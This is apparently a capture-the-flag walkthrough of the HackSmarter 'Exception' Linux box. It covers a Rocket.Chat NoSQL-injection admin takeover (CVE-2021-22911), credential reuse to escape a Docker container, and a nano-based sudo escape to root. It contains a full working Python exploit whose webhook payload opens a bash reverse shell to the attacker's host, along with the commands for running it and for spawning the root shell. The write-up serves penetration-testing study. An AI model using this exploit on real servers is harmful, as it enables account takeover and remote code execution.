Exception
This box is provided by HackSmarter https://www.hacksmarter.org/
Objective / Scope
As part of an internal penetration test, you have discovered a server handling sensitive corporate communications. Compromising this high-value target is key to demonstrating tangible risk to the client. Conduct a full-scope penetration test against the target IP to identify, exploit, and report on any existing vulnerabilities.
Overview
Exception is a medium-difficulty Linux machine from HackSmarter that simulates a real-world internal penetration test scenario targeting a corporate communications server. The attack chain involves discovering an outdated Rocket.Chat 3.12.1 instance running on port 3000, exploiting CVE-2021-22911 - a NoSQL injection vulnerability in the users API that allows a low-privilege user to leak internal tokens and ultimately take over an admin account. After gaining a foothold as the Rocket.Chat service account inside a Docker container, credentials found in a database backup file allow lateral movement to the host via SSH as the user Ron. Privilege escalation to root is achieved by abusing a custom sudo-permitted binary (/opt/log_inspector/check_log) that invokes nano, which can be escaped using a GTFOBins technique.
Key techniques:
- Port scanning and service enumeration
- Rocket.Chat version fingerprinting via API
- NoSQL injection (CVE-2021-22911) for admin account takeover
- TOTP secret extraction via
$whereinjection - Password reset token abuse → admin login → webhook RCE
- Docker escape via credential reuse
- GTFOBins nano escape for privilege escalation
Recon
Port Scanning
We begin with a standard nmap scan using service and script detection. We run two scans in parallel: a quick default-port scan and a full all-ports scan to ensure nothing is missed.
sudo nmap -sC -sV -vv -oA tcp 10.0.21.66; sudo nmap -sC -sV -vv -p- -oA allports 10.0.21.66The scan reveals three open ports:
- Port 22 - OpenSSH (potential lateral movement target once credentials are found)
- Port 80 - Apache HTTP server hosting a corporate-looking web page
- Port 3000 - Rocket.Chat, an open-source team messaging platform
Port 3000 - Rocket.Chat
Navigating to port 3000 in the browser confirms a Rocket.Chat login page is running.
Port 80 - Apache Web Server with Chatbot
Port 80 hosts a static Apache-served webpage that includes what appears to be a customer-facing chat bot widget.
Inspecting the page source and network traffic reveals that the chatbot is purely client-side JavaScript with no server-side API interaction - it's a dead end for exploitation.
Rocket.Chat Version Fingerprinting
We return focus to Rocket.Chat on port 3000. Rocket.Chat exposes an unauthenticated /api/info endpoint that leaks version information. Browsing to this endpoint reveals the instance is running version 3.12.1.
This version is significant - it is known to be vulnerable to CVE-2021-22911.
User Enumeration via General Channel
We register a new account on the Rocket.Chat instance to gain access to internal channels. Inside the #general channel, we find a message that leaks:
- Email address:
[email protected] - Username:
localh0ste
This user is likely an administrator based on the context of the channel messages.
Foothold
CVE-2021-22911 - Rocket.Chat NoSQL Injection → Admin Account Takeover → RCE
Rocket.Chat 3.12.1 is vulnerable to CVE-2021-22911, a critical vulnerability involving NoSQL (MongoDB $where) injection in the /api/v1/users.list endpoint. A low-privilege authenticated user can inject arbitrary JavaScript into this query to extract sensitive internal fields from other user documents - including password reset tokens and TOTP secrets - without any admin privileges.
The attack chain is:
- Register or reuse a low-privilege account
- Use NoSQL injection to extract the admin's TOTP secret
- Trigger a forgot password request for the admin account (generates a reset token server-side)
- Use NoSQL injection again to extract the admin's password reset token
- Generate a valid TOTP code from the extracted secret
- Call the
resetPasswordmethod with the reset token and TOTP code to set a new password - Log in as admin
- Create a malicious incoming webhook integration with a reverse shell payload to achieve RCE
We find a public proof-of-concept at: https://github.com/optionalCTF/Rocket.Chat-Automated-Account-Takeover-RCE-CVE-2021-22911/blob/master/exploit.py
The script requires modification to target the localh0ste admin account we discovered. We set the admin argument to [email protected].
Debugging the Exploit - Capturing TOTP Parameters via Burp
The exploit does not work out of the box. To understand the exact request format required for TOTP-based login, we intercept the Rocket.Chat password reset flow in the browser and proxy it through Burp Suite. This lets us inspect the raw request structure and identify the correct parameter names for the twoFactorCode and twoFactorMethod fields.
With those corrections applied, the final exploit script handles the full attack chain automatically:
import requests
import string
import time
import hashlib
import json
import oathtool
import argparse
import time
import mintotp
proxies = {
"http": "127.0.0.1:8080",
"https": "127.0.0.1:8080"
}
def login_as_admin(url, email, password, totp):
sha256pass = hashlib.sha256(bytes(password, encoding='utf8')).hexdigest()
payload = json.dumps({"message": json.dumps({
"msg": "method", "method": "login",
"params": [{"totp": {"login": {"user": {"username": email},
"password": {"digest": sha256pass, "algorithm": "sha-256"}},
"code": totp}}]})})
headers={'content-type': 'application/json'}
r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False, proxies=proxies)
if "error" in r.text:
exit("[-] Couldn't authenticate")
temp = json.loads(r.text)
data = json.loads(temp['message'])
userid = data['result']['id']
token = data['result']['token']
return (userid, token)
def get_token_id(email, url, password):
sha256pass = hashlib.sha256(bytes(password, encoding='utf8')).hexdigest()
payload ='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"user\\":{\\"email\\":\\"'+email+'\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}}]}"}'
headers={'content-type': 'application/json'}
r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False, proxies=proxies)
if "error" in r.text:
exit("[-] Couldn't authenticate")
temp = json.loads(r.text)
data = json.loads(temp['message'])
userid = data['result']['id']
token = data['result']['token']
return (userid, token)
def create_user(url, email, password):
username = email.split('@')[0]
payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"registerUser\\",\\"params\\":[{\\"name\\":\\"'+ username +'\\",\\"email\\":\\"'+email+'\\",\\"pass\\":\\"'+ password +'\\",\\"confirm-pass\\":\\"'+ password +'\\"}],\\"id\\":\\"30\\"}"}'
headers={'content-type': 'application/json'}
r = requests.post(url+"/api/v1/method.callAnon/registerUser", data = payload, headers = headers, verify = False, allow_redirects = False, proxies=proxies)
temp = json.loads(r.text)
data = json.loads(temp['message'])
if 'Email already exists' in r.text:
print(f'[+] User: {email} exists')
tokenData = get_token_id(email, url, password)
return tokenData
else:
print(f"[+] {email} does not exist")
userid = data['result']
print("[+] Low Privilege User Created")
print(f"[+] Username: {email}\n[+] Password: {password}")
tokenData = get_token_id(email,url,password)
return tokenData
def forgotpassword(url, admin_email):
payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"sendForgotPasswordEmail\\",\\"params\\":[\\"'+admin_email+'\\"]}"}'
headers={'content-type': 'application/json'}
r = requests.post(url+"/api/v1/method.callAnon/sendForgotPasswordEmail", data = payload, headers = headers, verify = False, allow_redirects = False, proxies=proxies)
print("[+] Password Reset Email Sent")
def get_pass_reset_token(url, admin_user, low_user_id, low_user_token):
cookies = {'rc_uid': low_user_id,'rc_token': low_user_token}
headers={'X-User-Id': low_user_id,'X-Auth-Token': low_user_token}
payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\''+admin_user+'\'+%26%26+(()%3d>{+throw+this.services.password.reset.token+})()"}'
re = requests.get(url+payload,cookies=cookies,headers=headers, proxies=proxies)
if re.status_code == 400:
d = json.loads(re.text)
token = d['error'].replace('uncaught exception: ', '')
print(f"[+] Password Reset Token {token}")
return token
def get_totp_token(url, admin_user, low_user_id, low_user_token):
cookies = {'rc_uid': low_user_id,'rc_token': low_user_token}
headers={'X-User-Id': low_user_id,'X-Auth-Token': low_user_token}
payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\''+admin_user+'\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'
re = requests.get(url+payload,cookies=cookies,headers=headers, proxies=proxies)
if re.status_code == 400:
d = json.loads(re.text)
token = d['error'].replace('uncaught exception: ', '')
print(f"[+] TOTP {token}")
return token
def change_admin_password(url, totp, pass_reset_token, password):
payload = json.dumps({"message": json.dumps({
"msg": "method", "method": "resetPassword",
"params": [pass_reset_token, password, {"twoFactorCode": totp, "twoFactorMethod": "totp"}]})})
print(payload)
headers={'content-type': 'application/json'}
r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False, proxies=proxies)
print(f"\n[+] Password was changed to {password}")
def rce(url, admin_user, a_id, a_token, ip, port):
# Creating Integration
payload = '{"enabled":true,"channel":"#general","username":"'+admin_user+'","name":"rce","alias":"","avatarUrl":"","emoji":"","scriptEnabled":true, "script": "class Script {\\n\\n process_incoming_request({ request }) {\\n\\n\\tconst require = console.log.constructor(\'return process.mainModule.require\')();\\n\\tconst { exec } = require(\'child_process\');\\n\\texec(\'bash -c \\\"bash -i >& /dev/tcp/' + str(ip) + '/' + str(port) + ' 0>&1\\\"\');\\n\\t}\\n}","type":"webhook-incoming"}'
cookies = {'rc_uid': a_id,'rc_token': a_token}
headers = {'X-User-Id': a_id,'X-Auth-Token': a_token}
r = requests.post(url+'/api/v1/integrations.create',cookies=cookies,headers=headers,data=payload, proxies=proxies)
data = json.loads(r.text)
token = data['integration']['token']
_id = data['integration']['_id']
print('[+] Sending Reverse Shell Integration')
# Triggering RCE
u = url + '/hooks/' + _id + '/' +token
r = requests.get(u)
if 'success' in r.text:
print(f'[+] Shell for {ip}:{port} Has Executed!')
else:
print('[-] Error')
def main():
parser = argparse.ArgumentParser(description='RocketChat 3.12.1 RCE')
parser.add_argument('-u', help='Low Privilege Email (If this user does not exist, it will be created)', required=True)
parser.add_argument('-a', help='Admin Email Address', required=False)
parser.add_argument('-H', help='URL (Eg: http://rocketchat.local)', required=True)
parser.add_argument('-p', help='Set passwords for accounts', required=False)
parser.add_argument('--ip', help='Your Listener IP', required=False)
parser.add_argument('--port', help='Your Listener Port', required=False)
parser.set_defaults(reset=False)
args = parser.parse_args()
admin = args.a
user = args.u
target = args.H
ip = args.ip
port = args.port
if args.p == None:
password = 'syk0'
else:
password = args.p
admin_user = admin.split('@')[0]
low_user = create_user(target, user, password)
print(low_user)
# get TOTP for admin
totp = get_totp_token(target, admin_user, low_user[0], low_user[1])
# trigger forgot password function for admin
forgotpassword(target, admin)
# get pass reset from admin
pass_reset_token = get_pass_reset_token(target, admin_user, low_user[0], low_user[1])
change_admin_password(target, mintotp.totp(totp), pass_reset_token, password)
a_user = login_as_admin(target, admin_user, password, mintotp.totp(totp))
rce(target, admin_user, a_user[0], a_user[1], ip, port)
main()Triggering the Shell
With a netcat listener running on port 8443, we execute the exploit against the target. The script creates a low-privilege user, extracts the admin's TOTP secret and password reset token via injection, resets the admin password, logs in as admin, then creates a malicious incoming webhook integration that fires a bash reverse shell callback.
python3 exploit.py -a [email protected] -H http://10.1.158.86:3000 --ip 10.200.45.160 --port 8443 -u [email protected]We receive a shell as the Rocket.Chat service account.
Lateral Movement
Docker Container - Enumeration
After landing the shell, we immediately notice we are inside a Docker container rather than on the host system. The presence of a .dockerenv file at the filesystem root and the container-scoped network confirms this.
Credential Discovery - backup_db.txt
Enumerating the container filesystem, we find a file named backup_db.txt. This file contains database credentials or user credentials stored as part of a backup routine.
SSH Access as Ron
The credentials recovered from backup_db.txt are tested against the SSH service on port 22 of the host. The credentials are valid for the user Ron, granting us a shell directly on the host machine outside the container.
Privilege Escalation
Sudo Enumeration
Running sudo -l as Ron reveals a permitted command:
(root) NOPASSWD: /opt/log_inspector/check_log
Ron is allowed to run /opt/log_inspector/check_log as root without a password. This is a custom binary, so we investigate it further.
Binary Analysis - Strings
Running strings on the binary shows it performs some log-related operations and internally invokes nano - a terminal text editor. When a privileged process spawns an editor, that editor inherits the elevated privileges and can be abused to break out to a shell.
Executing the Binary
We run the binary with its --clean flag, which triggers the code path that opens nano:
sudo /opt/log_inspector/check_log --cleanWe are dropped into a nano editor session running as root.
GTFOBins - Nano Shell Escape
Using the GTFOBins nano technique, we break out of the editor to a root shell. Inside nano, we use the built-in command execution feature:
- Press
Ctrl+RthenCtrl+Xto open the "Execute Command" prompt - Enter a shell command to spawn a root shell:
reset; sh 1>&0 2>&0
We now have a root shell on the host machine, completing the full compromise of the target.

